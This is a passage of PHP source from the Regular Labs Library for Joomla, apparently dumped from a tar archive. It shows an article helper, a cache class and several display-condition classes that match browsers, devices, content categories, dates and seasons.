'u') . ' ON ' . $db->quoteName('u.id') .
' = ' . $db->quoteName('a.created_by'));
// Join over the categories to get parent category titles
if ( ! $custom_selects)
{
$query->select([
$db->quoteName('parent.title', 'parent_title'),
$db->quoteName('parent.id', 'parent_id'),
$db->quoteName('parent.path', 'parent_route'),
$db->quoteName('parent.alias', 'parent_alias'),
]);
}
$query->join('LEFT',
$db->quoteName('#__categories', 'parent') . '
ON ' . $db->quoteName('parent.id') . ' = ' .
$db->quoteName('c.parent_id'));
// Join on voting table
if ( ! $custom_selects)
{
$query->select([
'ROUND(v.rating_sum / v.rating_count, 0) AS rating',
$db->quoteName('v.rating_count',
'rating_count'),
]);
}
$query->join('LEFT',
$db->quoteName('#__content_rating', 'v') . ' ON
' . $db->quoteName('v.content_id') . ' = ' .
$db->quoteName('a.id'));
if ( ! $get_unpublished
&& ( ! $user->authorise('core.edit.state',
'com_content'))
&& ( ! $user->authorise('core.edit',
'com_content'))
)
{
// Filter by start and end dates.
$nullDate = $db->quote($db->getNullDate());
$date = JFactory::getDate();
$nowDate = $db->quote($date->toSql());
$query->where($db->quoteName('a.state') . ' =
1')
->where('(' . $db->quoteName('a.publish_up')
. ' = ' . $nullDate . ' OR ' .
$db->quoteName('a.publish_up') . ' <= ' .
$nowDate . ')')
->where('(' .
$db->quoteName('a.publish_down') . ' = ' . $nullDate
. ' OR ' . $db->quoteName('a.publish_down') . '
>= ' . $nowDate . ')');
}
$db->setQuery($query);
$data = $db->loadObject();
if (empty($data))
{
return false;
}
if (isset($data->attribs))
{
// Convert parameter field to object.
$data->params = new Registry($data->attribs);
}
if (isset($data->metadata))
{
// Convert metadata field to object.
$data->metadata = new Registry($data->metadata);
}
self::$articles[$cache_id] = $data;
return self::$articles[$cache_id];
}
/**
* Gets the current article id based on url data
*/
public static function getId()
{
$input = JFactory::getApplication()->input;
$id = $input->getInt('id');
if ( ! $id
|| ! (
($input->get('option') == 'com_content'
&& $input->get('view') == 'article')
|| ($input->get('option') == 'com_flexicontent'
&& $input->get('view') == 'item')
)
)
{
return false;
}
return $id;
}
/**
* Passes the different article parts through the given plugin method
*
* @param object $article
* @param string $context
* @param object $helper
* @param string $method
* @param array $params
* @param array $ignore
*/
public static function process(&$article, &$context, &$helper,
$method, $params = [], $ignore = [])
{
self::processText('title', $article, $helper, $method, $params,
$ignore);
self::processText('created_by_alias', $article, $helper,
$method, $params, $ignore);
self::processText('description', $article, $helper, $method,
$params, $ignore);
// Don't replace in text fields in the category list view, as they
won't get used anyway
if (Document::isCategoryList($context))
{
return;
}
// prevent fulltext from being messed with, when it is a json encoded
string (Yootheme Pro templates do this for some weird f-ing reason)
if ( ! empty($article->fulltext) &&
substr($article->fulltext, 0, 6) == '<!-- {')
{
self::processText('text', $article, $helper, $method, $params,
$ignore);
return;
}
$has_text = isset($article->text);
$has_article_texts = isset($article->introtext) &&
isset($article->fulltext);
$text_same_as_article_text = false;
if ($has_text && $has_article_texts)
{
$check_text = RegEx::replace('\s', '',
$article->text);
$check_introtext_fulltext = RegEx::replace('\s', '',
$article->introtext . ' ' . $article->fulltext);
$text_same_as_article_text = $check_text == $check_introtext_fulltext;
}
if ($has_article_texts && ! $has_text)
{
self::processText('introtext', $article, $helper, $method,
$params, $ignore);
self::processText('fulltext', $article, $helper, $method,
$params, $ignore);
return;
}
if ($has_article_texts && $text_same_as_article_text)
{
$splitter = '͞';
if (strpos($article->introtext, $splitter) !== false
|| strpos($article->fulltext, $splitter) !== false)
{
$splitter = 'Ͽ';
}
$article->text = $article->introtext . $splitter .
$article->fulltext;
self::processText('text', $article, $helper, $method, $params,
$ignore);
list($article->introtext, $article->fulltext) = explode($splitter,
$article->text, 2);
$article->text = str_replace($splitter, ' ',
$article->text);
return;
}
self::processText('text', $article, $helper, $method, $params,
$ignore);
self::processText('introtext', $article, $helper, $method,
$params, $ignore);
// Don't handle fulltext on category blog views
if ($context == 'com_content.category' &&
JFactory::getApplication()->input->get('view') ==
'category')
{
return;
}
self::processText('fulltext', $article, $helper, $method,
$params, $ignore);
}
private static function processText($type = '', &$article,
&$helper, $method, $params = [], $ignore = [])
{
if (empty($article->{$type}))
{
return;
}
if (in_array($type, $ignore))
{
return;
}
call_user_func_array([$helper, $method],
array_merge([&$article->{$type}], $params));
}
public static function getPages($string)
{
if (empty($string))
{
return [''];
}
return preg_split('#(<hr class="system-pagebreak"
.*?>)#s', $string, null, PREG_SPLIT_DELIM_CAPTURE |
PREG_SPLIT_NO_EMPTY);
}
public static function getPageNumber(&$all_pages, $search_string)
{
if (is_string($all_pages))
{
$all_pages = self::getPages($all_pages);
}
if (count($all_pages) < 2)
{
return 0;
}
foreach ($all_pages as $i => $page_text)
{
if ($i % 2)
{
continue;
}
if (strpos($page_text, $search_string) === false)
{
continue;
}
$all_pages[$i] = StringHelper::replaceOnce($search_string,
'---', $page_text);
return $i / 2;
}
return 0;
}
}
src/Cache.php000064400000003754151167425550007073 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class Cache
* @package RegularLabs\Library
*/
class Cache
{
static $group = 'regularlabs';
static $cache = [];
// Is the cached object in the cache memory?
public static function has($id)
{
return isset(self::$cache[md5($id)]);
}
// Get the cached object from the cache memory
public static function get($id)
{
$hash = md5($id);
if ( ! isset(self::$cache[$hash]))
{
return false;
}
return is_object(self::$cache[$hash]) ? clone self::$cache[$hash] :
self::$cache[$hash];
}
// Save the cached object to the cache memory
public static function set($id, $data)
{
self::$cache[md5($id)] = $data;
return $data;
}
// Get the cached object from the Joomla cache
public static function read($id)
{
if (JFactory::getApplication()->get('debug'))
{
return false;
}
$hash = md5($id);
if (isset(self::$cache[$hash]))
{
return self::$cache[$hash];
}
$cache = JFactory::getCache(self::$group, 'output');
return $cache->get($hash);
}
// Save the cached object to the Joomla cache
public static function write($id, $data, $time_to_life_in_minutes = 0,
$force_caching = true)
{
if (JFactory::getApplication()->get('debug'))
{
return $data;
}
$hash = md5($id);
self::$cache[$hash] = $data;
$cache = JFactory::getCache(self::$group, 'output');
if ($time_to_life_in_minutes)
{
// convert ttl to minutes
$cache->setLifeTime($time_to_life_in_minutes * 60);
}
if ($force_caching)
{
$cache->setCaching(true);
}
$cache->store($data, $hash);
self::set($hash, $data);
return $data;
}
}
src/Condition/Agent.php000064400000005354151167425550011052
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use RegularLabs\Library\MobileDetect;
use RegularLabs\Library\RegEx;
/**
* Class Agent
* @package RegularLabs\Library\Condition
*/
abstract class Agent
extends \RegularLabs\Library\Condition
{
var $agent = null;
var $device = null;
var $is_mobile = false;
/**
* isPhone
*/
public function isPhone()
{
return $this->isMobile();
}
/**
* isMobile
*/
public function isMobile()
{
return $this->getDevice() == 'mobile';
}
/**
* isTablet
*/
public function isTablet()
{
return $this->getDevice() == 'tablet';
}
/**
* isDesktop
*/
public function isDesktop()
{
return $this->getDevice() == 'desktop';
}
/**
* passBrowser
*/
public function passBrowser($browser = '')
{
if ( ! $browser)
{
return false;
}
if ($browser == 'mobile')
{
return $this->isMobile();
}
// also check for _ instead of .
$browser = RegEx::replace('\\\.([^\]])', '[\._]\1',
$browser);
$browser = str_replace('\.]', '\._]', $browser);
return RegEx::match($browser, $this->getAgent(), $match,
'i');
}
/**
* setDevice
*/
private function getDevice()
{
if ( ! is_null($this->device))
{
return $this->device;
}
$detect = new MobileDetect;
$this->is_mobile = $detect->isMobile();
switch (true)
{
case($detect->isTablet()):
$this->device = 'tablet';
break;
case ($detect->isMobile()):
$this->device = 'mobile';
break;
default:
$this->device = 'desktop';
}
return $this->device;
}
/**
* getAgent
*/
private function getAgent()
{
if ( ! is_null($this->agent))
{
return $this->agent;
}
$detect = new MobileDetect;
$agent = $detect->getUserAgent();
switch (true)
{
case (stripos($agent, 'Trident') !== false):
// Add MSIE to IE11 and others missing it
$agent = RegEx::replace('(Trident/[0-9\.]+;.*rv[:
]([0-9\.]+))', '\1 MSIE \2', $agent);
break;
case (stripos($agent, 'Chrome') !== false):
// Remove Safari from Chrome
$agent = RegEx::replace('(Chrome/.*)Safari/[0-9\.]*',
'\1', $agent);
// Add MSIE to IE Edge and remove Chrome from IE Edge
$agent = RegEx::replace('Chrome/.*(Edge/[0-9])', 'MSIE
\1', $agent);
break;
case (stripos($agent, 'Opera') !== false):
$agent = RegEx::replace('(Opera/.*)Version/',
'\1Opera/', $agent);
break;
}
$this->agent = $agent;
return $this->agent;
}
}
src/Condition/AgentBrowser.php000064400000001415151167425550012410
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class AgentBrowser
* @package RegularLabs\Library\Condition
*/
class AgentBrowser
extends Agent
{
public function pass()
{
if (empty($this->selection))
{
return $this->_(false);
}
foreach ($this->selection as $browser)
{
if ( ! $this->passBrowser($browser))
{
continue;
}
return $this->_(true);
}
return $this->_(false);
}
}
src/Condition/AgentDevice.php000064400000001411151167425550012160
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class AgentDevice
* @package RegularLabs\Library\Condition
*/
class AgentDevice
extends Agent
{
public function pass()
{
$pass = (in_array('mobile', $this->selection) &&
$this->isMobile())
|| (in_array('tablet', $this->selection) &&
$this->isTablet())
|| (in_array('desktop', $this->selection) &&
$this->isDesktop());
return $this->_($pass);
}
}
src/Condition/AgentOs.php000064400000001033151167425550011342
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class AgentOs
* @package RegularLabs\Library\Condition
*/
class AgentOs
extends AgentBrowser
{
// Same as AgentBrowser
}
src/Condition/Akeebasubs.php000064400000002074151167425550012055
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class Akeebasubs
* @package RegularLabs\Library\Condition
*/
abstract class Akeebasubs
extends \RegularLabs\Library\Condition
{
var $agent = null;
var $device = null;
public function initRequest(&$request)
{
if ($request->id || $request->view != 'level')
{
return;
}
$slug =
JFactory::getApplication()->input->getString('slug',
'');
if ( ! $slug)
{
return;
}
$query = $this->db->getQuery(true)
->select('l.akeebasubs_level_id')
->from('#__akeebasubs_levels AS l')
->where('l.slug = ' . $this->db->quote($slug));
$this->db->setQuery($query);
$request->id = $this->db->loadResult();
}
}
src/Condition/AkeebasubsLevel.php000064400000001360151167425550013042
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class AkeebasubsLevel
* @package RegularLabs\Library\Condition
*/
class AkeebasubsLevel
extends Akeebasubs
{
public function pass()
{
if ( ! $this->request->id || $this->request->option !=
'com_akeebasubs' || $this->request->view !=
'level')
{
return $this->_(false);
}
return $this->passSimple($this->request->id);
}
}
src/Condition/AkeebasubsPagetype.php000064400000001215151167425550013550
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class AkeebasubsPagetype
* @package RegularLabs\Library\Condition
*/
class AkeebasubsPagetype
extends Akeebasubs
{
public function pass()
{
return $this->passByPageType('com_akeebasubs',
$this->selection, $this->include_type);
}
}
src/Condition/Component.php000064400000001421151167425550011745
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
use Joomla\CMS\Factory as JFactory;
defined('_JEXEC') or die;
/**
* Class Component
* @package RegularLabs\Library\Condition
*/
class Component
extends \RegularLabs\Library\Condition
{
public function pass()
{
$option =
JFactory::getApplication()->input->get('option') ==
'com_categories'
? 'com_categories'
: $this->request->option;
return $this->passSimple(strtolower($option));
}
}
src/Condition/Content.php000064400000002073151167425550011421
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\MVC\Model\BaseDatabaseModel as JModel;
/**
* Class Content
* @package RegularLabs\Library\Condition
*/
abstract class Content
extends \RegularLabs\Library\Condition
{
use \RegularLabs\Library\ConditionContent;
public function getItem($fields = [])
{
if ($this->article)
{
return $this->article;
}
if ( ! class_exists('ContentModelArticle'))
{
require_once JPATH_SITE .
'/components/com_content/models/article.php';
}
$model = JModel::getInstance('article',
'contentModel');
if ( ! method_exists($model, 'getItem'))
{
return null;
}
$this->article = $model->getItem($this->request->id);
return $this->article;
}
}
src/Condition/ContentArticle.php000064400000003074151167425550012727
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class ContentArticle
* @package RegularLabs\Library\Condition
*/
class ContentArticle
extends Content
{
public function pass()
{
if ( ! $this->request->id
|| ! (($this->request->option == 'com_content'
&& $this->request->view == 'article')
|| ($this->request->option == 'com_flexicontent'
&& $this->request->view == 'item')
)
)
{
return $this->_(false);
}
$pass = false;
// Pass Article Id
if ( ! $this->passItemByType($pass, 'ContentId'))
{
return $this->_(false);
}
// Pass Featured
if ( ! $this->passItemByType($pass, 'Featured'))
{
return $this->_(false);
}
// Pass Content Keywords
if ( ! $this->passItemByType($pass, 'ContentKeyword'))
{
return $this->_(false);
}
// Pass Meta Keywords
if ( ! $this->passItemByType($pass, 'MetaKeyword'))
{
return $this->_(false);
}
// Pass Author
if ( ! $this->passItemByType($pass, 'Author'))
{
return $this->_(false);
}
// Pass Date
if ( ! $this->passItemByType($pass, 'Date'))
{
return $this->_(false);
}
// Pass Fields
if ( ! $this->passItemByType($pass, 'Field'))
{
return $this->_(false);
}
return $this->_($pass);
}
}
src/Condition/ContentCategory.php000064400000010133151167425550013113
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use ContentsubmitModelArticle;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Table\Table as JTable;
/**
* Class ContentCategory
* @package RegularLabs\Library\Condition
*/
class ContentCategory
extends Content
{
public function pass()
{
// components that use the com_content secs/cats
$components = ['com_content', 'com_flexicontent',
'com_contentsubmit'];
if ( ! in_array($this->request->option, $components))
{
return $this->_(false);
}
if (empty($this->selection))
{
return $this->_(false);
}
$app = JFactory::getApplication();
$is_content = in_array($this->request->option,
['com_content', 'com_flexicontent']);
$is_category = in_array($this->request->view,
['category']);
$is_item = in_array($this->request->view, ['',
'article', 'item', 'form']);
if (
$this->request->option != 'com_contentsubmit'
&& ! ($this->params->inc_categories && $is_content
&& $is_category)
&& ! ($this->params->inc_articles && $is_content
&& $is_item)
&& ! ($this->params->inc_others && ! ($is_content
&& ($is_category || $is_item)))
&& ! ($app->input->get('rl_qp') && !
empty($this->getCategoryIds()))
)
{
return $this->_(false);
}
if ($this->request->option == 'com_contentsubmit')
{
// Content Submit
$contentsubmit_params = new ContentsubmitModelArticle;
if (in_array($contentsubmit_params->_id, $this->selection))
{
return $this->_(true);
}
return $this->_(false);
}
$pass = false;
if (
$this->params->inc_others
&& ! ($is_content && ($is_category || $is_item))
&& $this->article
)
{
if ( ! isset($this->article->id) &&
isset($this->article->slug))
{
$this->article->id = (int) $this->article->slug;
}
if ( ! isset($this->article->catid) &&
isset($this->article->catslug))
{
$this->article->catid = (int) $this->article->catslug;
}
$this->request->id = $this->article->id;
$this->request->view = 'article';
}
$catids = $this->getCategoryIds($is_category);
foreach ($catids as $catid)
{
if ( ! $catid)
{
continue;
}
$pass = in_array($catid, $this->selection);
if ($pass && $this->params->inc_children == 2)
{
$pass = false;
continue;
}
if ( ! $pass && $this->params->inc_children)
{
$parent_ids = $this->getCatParentIds($catid);
$parent_ids = array_diff($parent_ids, [1]);
foreach ($parent_ids as $id)
{
if (in_array($id, $this->selection))
{
$pass = true;
break;
}
}
unset($parent_ids);
}
}
return $this->_($pass);
}
private function getCategoryIds($is_category = false)
{
if ($is_category)
{
return (array) $this->request->id;
}
$app = JFactory::getApplication();
$catid =
$app->getUserState('com_content.edit.article.data.catid');
if ( ! $catid)
{
if ( ! $this->article && $this->request->id)
{
$this->article = JTable::getInstance('content');
$this->article->load($this->request->id);
}
if ($this->article && isset($this->article->catid))
{
return (array) $this->article->catid;
}
}
if ( ! $catid)
{
$catid =
$app->getUserState('com_content.articles.filter.category_id');
}
if ( ! $catid)
{
$catid =
JFactory::getApplication()->input->getInt('catid');
}
$menuparams = $this->getMenuItemParams($this->request->Itemid);
if ($this->request->view == 'featured')
{
$menuparams = $this->getMenuItemParams($this->request->Itemid);
return isset($menuparams->featured_categories) ? (array)
$menuparams->featured_categories : (array) $catid;
}
return isset($menuparams->catid) ? (array) $menuparams->catid :
(array) $catid;
}
private function getCatParentIds($id = 0)
{
return $this->getParentIds($id, 'categories');
}
}
src/Condition/ContentPagetype.php000064400000001602151167425550013115
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class ContentPagetype
* @package RegularLabs\Library\Condition
*/
class ContentPagetype
extends Content
{
public function pass()
{
$components = ['com_content', 'com_contentsubmit'];
if ( ! in_array($this->request->option, $components))
{
return $this->_(false);
}
if ($this->request->view == 'category' &&
$this->request->layout == 'blog')
{
$view = 'categoryblog';
}
else
{
$view = $this->request->view;
}
return $this->passSimple($view);
}
}
src/Condition/Cookieconfirm.php000064400000001404151167425550012573
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use PlgSystemCookieconfirmCore;
/**
* Class Cookieconfirm
* @package RegularLabs\Library\Condition
*/
class Cookieconfirm
extends \RegularLabs\Library\Condition
{
public function pass()
{
require_once JPATH_PLUGINS . '/system/cookieconfirm/core.php';
$pass = PlgSystemCookieconfirmCore::getInstance()->isCookiesAllowed();
return $this->_($pass);
}
}
src/Condition/Date.php000064400000001027151167425550010662 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class Date
* @package RegularLabs\Library\Condition
*/
abstract class Date
extends \RegularLabs\Library\Condition
{
}
src/Condition/DateDate.php000064400000003607151167425550011466
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class DateDate
* @package RegularLabs\Library\Condition
*/
class DateDate
extends Date
{
public function pass()
{
if ( ! $this->params->publish_up && !
$this->params->publish_down)
{
// no date range set
return ($this->include_type == 'include');
}
$now = $this->getNow();
$up = $this->getDate($this->params->publish_up);
$down = $this->getDate($this->params->publish_down);
if (isset($this->params->recurring) &&
$this->params->recurring)
{
if ( ! (int) $this->params->publish_up || ! (int)
$this->params->publish_down)
{
// no date range set
return ($this->include_type == 'include');
}
$up = strtotime(date('Y') . $up->format('-m-d
H:i:s', true));
$down = strtotime(date('Y') . $down->format('-m-d
H:i:s', true));
// pass:
// 1) now is between up and down
// 2) up is later in year than down and:
// 2a) now is after up
// 2b) now is before down
if (
($up < $now && $down > $now)
|| ($up > $down
&& (
$up < $now
|| $down > $now
)
)
)
{
return ($this->include_type == 'include');
}
// outside date range
return $this->_(false);
}
if (
(
(int) $this->params->publish_up
&& strtotime($up->format('Y-m-d H:i:s', true))
> $now
)
|| (
(int) $this->params->publish_down
&& strtotime($down->format('Y-m-d H:i:s', true))
< $now
)
)
{
// outside date range
return $this->_(false);
}
// pass
return ($this->include_type == 'include');
}
}
src/Condition/DateDay.php000064400000001215151167425550011317
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class DateDay
* @package RegularLabs\Library\Condition
*/
class DateDay
extends Date
{
public function pass()
{
$day = $this->date->format('N', true); // 1 (for Monday)
though 7 (for Sunday )
return $this->passSimple($day);
}
}
src/Condition/DateMonth.php000064400000001240151167425550011665
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class DateMonth
* @package RegularLabs\Library\Condition
*/
class DateMonth
extends Date
{
public function pass()
{
$month = $this->date->format('m', true); // 01 (for
January) through 12 (for December)
return $this->passSimple((int) $month);
}
}
src/Condition/DateSeason.php000064400000005255151167425550012042
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class DateSeason
* @package RegularLabs\Library\Condition
*/
class DateSeason
extends Date
{
public function pass()
{
$season = self::getSeason($this->date,
$this->params->hemisphere);
return $this->passSimple($season);
}
private function getSeason(&$d, $hemisphere = 'northern')
{
// Set $date to today
$date = strtotime($d->format('Y-m-d H:i:s', true));
// Get year of date specified
$date_year = $d->format('Y', true); // Four digit
representation for the year
// Specify the season names
$season_names = ['winter', 'spring',
'summer', 'fall'];
// Declare season date ranges
switch (strtolower($hemisphere))
{
case 'southern':
if (
$date < strtotime($date_year . '-03-21')
|| $date >= strtotime($date_year . '-12-21')
)
{
return $season_names[2]; // Must be in Summer
}
if ($date >= strtotime($date_year . '-09-23'))
{
return $season_names[1]; // Must be in Spring
}
if ($date >= strtotime($date_year . '-06-21'))
{
return $season_names[0]; // Must be in Winter
}
if ($date >= strtotime($date_year . '-03-21'))
{
return $season_names[3]; // Must be in Fall
}
break;
case 'australia':
if (
$date < strtotime($date_year . '-03-01')
|| $date >= strtotime($date_year . '-12-01')
)
{
return $season_names[2]; // Must be in Summer
}
if ($date >= strtotime($date_year . '-09-01'))
{
return $season_names[1]; // Must be in Spring
}
if ($date >= strtotime($date_year . '-06-01'))
{
return $season_names[0]; // Must be in Winter
}
if ($date >= strtotime($date_year . '-03-01'))
{
return $season_names[3]; // Must be in Fall
}
break;
default: // northern
if (
$date < strtotime($date_year . '-03-21')
|| $date >= strtotime($date_year . '-12-21')
)
{
return $season_names[0]; // Must be in Winter
}
if ($date >= strtotime($date_year . '-09-23'))
{
return $season_names[3]; // Must be in Fall
}
if ($date >= strtotime($date_year . '-06-21'))
{
return $season_names[2]; // Must be in Summer
}
if ($date >= strtotime($date_year . '-03-21'))
{
return $season_names[1]; // Must be in Spring
}
break;
}
return 0;
}
}
src/Condition/DateTime.php000064400000002340151167425550011500
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class DateTime
* @package RegularLabs\Library\Condition
*/
class DateTime
extends Date
{
public function pass()
{
$now = $this->getNow();
$up = strtotime($this->date->format('Y-m-d ', true) .
$this->params->publish_up);
$down = strtotime($this->date->format('Y-m-d ', true) .
$this->params->publish_down);
if ($up > $down)
{
// publish up is after publish down (spans midnight)
// current time should be:
// - after publish up
// - OR before publish down
if ($now >= $up || $now < $down)
{
return $this->_(true);
}
return $this->_(false);
}
// publish down is after publish up (simple time span)
// current time should be:
// - after publish up
// - AND before publish down
if ($now >= $up && $now < $down)
{
return $this->_(true);
}
return $this->_(false);
}
}
src/Condition/Easyblog.php000064400000001503151167425550011551
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class Easyblog
* @package RegularLabs\Library\Condition
*/
abstract class Easyblog
extends \RegularLabs\Library\Condition
{
use \RegularLabs\Library\ConditionContent;
public function getItem($fields = [])
{
$query = $this->db->getQuery(true)
->select($fields)
->from('#__easyblog_post')
->where('id = ' . (int) $this->request->id);
$this->db->setQuery($query);
return $this->db->loadObject();
}
}
src/Condition/EasyblogCategory.php000064400000003513151167425550013252
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class EasyblogCategory
* @package RegularLabs\Library\Condition
*/
class EasyblogCategory
extends Easyblog
{
public function pass()
{
if ($this->request->option != 'com_easyblog')
{
return $this->_(false);
}
$pass = (
($this->params->inc_categories &&
$this->request->view == 'categories')
|| ($this->params->inc_items && $this->request->view
== 'entry')
);
if ( ! $pass)
{
return $this->_(false);
}
$cats = $this->makeArray($this->getCategories());
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->_(false);
}
else if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
private function getCategories()
{
switch ($this->request->view)
{
case 'entry' :
return $this->getCategoryIDFromItem();
break;
case 'categories' :
return $this->request->id;
break;
default:
return '';
}
}
private function getCategoryIDFromItem()
{
$query = $this->db->getQuery(true)
->select('i.category_id')
->from('#__easyblog_post AS i')
->where('i.id = ' . (int) $this->request->id);
$this->db->setQuery($query);
